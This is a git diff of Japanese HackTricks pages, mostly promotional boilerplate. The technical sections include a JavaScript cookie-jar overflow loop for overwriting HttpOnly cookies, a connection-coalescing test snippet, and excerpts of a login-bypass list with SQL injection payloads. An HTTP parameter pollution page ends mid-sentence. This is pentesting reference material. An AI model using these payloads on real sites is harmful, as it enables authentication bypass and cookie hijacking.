* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
ブラウザはページごとに保存できる**Cookieの数に制限**があります。そのため、何らかの理由で**Cookieを消去する必要がある**場合は、最も古いCookieが削除される前に**Cookieジャーをオーバーフロー**させることができます。
ブラウザには、ページごとに保存できる**クッキーの数の制限**があります。したがって、何らかの理由で**クッキーを消す必要がある**場合は、**クッキージャーをオーバーフロー**させることができます。そうすれば、最も古いクッキーが削除されます。
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -25,25 +26,26 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}
```
注意:異なるドメインを指すサードパーティクッキーは上書きされません。
注意:異なるドメインを指すサードパーティクッキーは上書きされません。
{% hint style="danger" %}
この攻撃は、**HttpOnlyクッキーを上書きするために使用することもできます。削除してから、希望する値でリセットできます**。
この攻撃は、**HttpOnlyクッキーを上書きするためにも使用できます。削除してから、希望の値でリセットできます**。
[**このラボを含むこの投稿**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)をチェックしてください
[**このラボの投稿で確認してください**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)。
{% endhint %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,29 +1,45 @@
# HTTP接続の汚染
# HTTP Connection Contamination
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**AWSハッキングをゼロからヒーローまで学ぶ**</strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **ハッキングテクニックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**この記事の要約です: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**。詳細についてはそちらをご覧ください!
**この記事の要約は次のとおりです: [https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**。詳細はそちらをご覧ください!
Webブラウザは、共有IPアドレスと共通のTLS証明書を介して、[HTTP接続の共有](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing)を通じて1つのHTTP/2+接続を異なるウェブサイトに再利用できます。ただし、これは逆プロキシにおける**最初のリクエストのルーティング**と競合する可能性があります。ここで、後続のリクエストは最初のリクエストによって決定されたバックエンドに向けられます。この誤ったルーティングは、特にワイルドカードTLS証明書と`*.example.com`のようなドメインと組み合わせると、セキュリティの脆弱性につながる可能性があります。
ウェブブラウザは、共有IPアドレスと共通のTLS証明書がある場合、異なるウェブサイトのために単一のHTTP/2+接続を再利用できます[HTTP接続のコアレッシング](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing)を通じて。しかし、これはリバースプロキシにおける**最初のリクエストルーティング**と衝突する可能性があり、後続のリクエストが最初のリクエストによって決定されたバックエンドに送信されます。この誤ルーティングは、特にワイルドカードTLS証明書や`*.example.com`のようなドメインと組み合わせると、セキュリティの脆弱性を引き起こす可能性があります。
たとえば、`wordpress.example.com`と`secure.example.com`が同じ逆プロキシによって提供され、共通のワイルドカード証明書を持っている場合、ブラウザの接続共有によって`secure.example.com`へのリクエストが誤ってWordPressバックエンドで処理され、XSSなどの脆弱性が悪用される可能性があります。
例えば、`wordpress.example.com`と`secure.example.com`が同じリバースプロキシによって提供され、共通のワイルドカード証明書を持っている場合、ブラウザの接続コアレッシングにより、`secure.example.com`へのリクエストが誤ってWordPressバックエンドによって処理され、XSSのような脆弱性を悪用される可能性があります。
接続共有を観察するには、ChromeのネットワークタブやWiresharkなどのツールを使用できます。テスト用のスニペットは以下の通りです:
接続コアレッシングを観察するには、ChromeのネットワークタブやWiresharkのようなツールを使用できます。テスト用のスニペットは次のとおりです:
```javascript
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
```
現在の脅威は、最初のリクエストルーティングの稀少性とHTTP/2の複雑さにより、限定されています。ただし、HTTP/3で提案されている変更は、IPアドレスの一致要件を緩和するため、MITM攻撃を必要とせずに、ワイルドカード証明書を持つサーバーをより脆弱にする可能性があります。
現在の脅威は、最初のリクエストルーティングの稀少性とHTTP/2の複雑さにより制限されています。しかし、IPアドレスの一致要件を緩和するHTTP/3の提案された変更は、攻撃面を広げ、MITM攻撃を必要とせずにワイルドカード証明書を持つサーバーをより脆弱にする可能性があります。
ベストプラクティスには、リバースプロキシでの最初のリクエストのルーティングを避けること、特にHTTP/3の登場に注意してワイルドカードTLS証明書を慎重に扱うことが含まれます。これらの複雑で相互に関連する脆弱性の定期的なテストと認識は、Webセキュリティを維持するために重要です。
ベストプラクティスには、リバースプロキシでの最初のリクエストルーティングを避け、特にHTTP/3の登場に伴い、ワイルドカードTLS証明書に注意することが含まれます。これらの複雑で相互に関連する脆弱性について定期的にテストし、意識することは、ウェブセキュリティを維持するために重要です。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# HTTP/2 ダウングレードにおけるリクエストスマグリング
# HTTP/2ダウングレードにおけるリクエストスムージング
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**投稿をチェック [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
**投稿を確認してください [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,29 +1,31 @@
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
</details>
**投稿をチェック: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}
**投稿を確認してください:[https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
このリストには、**XPath、LDAP、およびSQLインジェクションを介したログインバイパスのペイロード**が含まれています(その順序で)。
このリストには、**XPath、LDAP、およびSQLインジェクションを介してログインをバイパスするためのペイロード**が含まれています(その順序で)。
このリストを使用する方法は、**最初の200行をユーザー名とパスワードに入力**します。次に、ユーザー名を最初に、次にパスワードを入力し、パスワード_Pass1234._または既知のユーザー名_admin_を入力します。
このリストの使用方法は、**最初の200行をユーザー名とパスワードとして入力することです。** 次に、完全なリストを最初にユーザー名に、次にパスワード入力に入力し、いくつかのパスワード_Pass1234._またはいくつかの既知のユーザー名_admin_を入力します。
```
admin
password
@ -822,16 +823,17 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,70 +1,71 @@
# パラメータ汚染
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# HTTPパラメータ汚染HPPの概要
HTTPパラメータ汚染HPPは、攻撃者がHTTPパラメータを操作してWebアプリケーションの動作を意図しない方法で変更する技術です。この操作は、HTTPパラメータを追加、変更、または複製することによって行われます。これらの操作の影響はユーザーに直接は見えませんが、サーバーサイドでアプリケーションの機能を大幅に変更し、クライアントサイドにも影響を与える可能性があります。
# HTTPパラメータ汚染 (HPP) 概要
## HTTPパラメータ汚染HPPの例
HTTPパラメータ汚染 (HPP) は、攻撃者がHTTPパラメータを操作して、ウェブアプリケーションの動作を意図しない方法で変更する技術です。この操作は、HTTPパラメータを追加、変更、または複製することによって行われます。これらの操作の影響はユーザーには直接見えませんが、サーバー側のアプリケーションの機能を大きく変更し、クライアント側に観察可能な影響を与えることがあります。
銀行アプリケーショントランザクションのURL
## HTTPパラメータ汚染 (HPP) の例
銀行アプリケーションの取引URL
- **元のURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
追加の `from` パラメータを挿入することによ
追加の `from` パラメータを挿入することによって
- **操作されたURL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
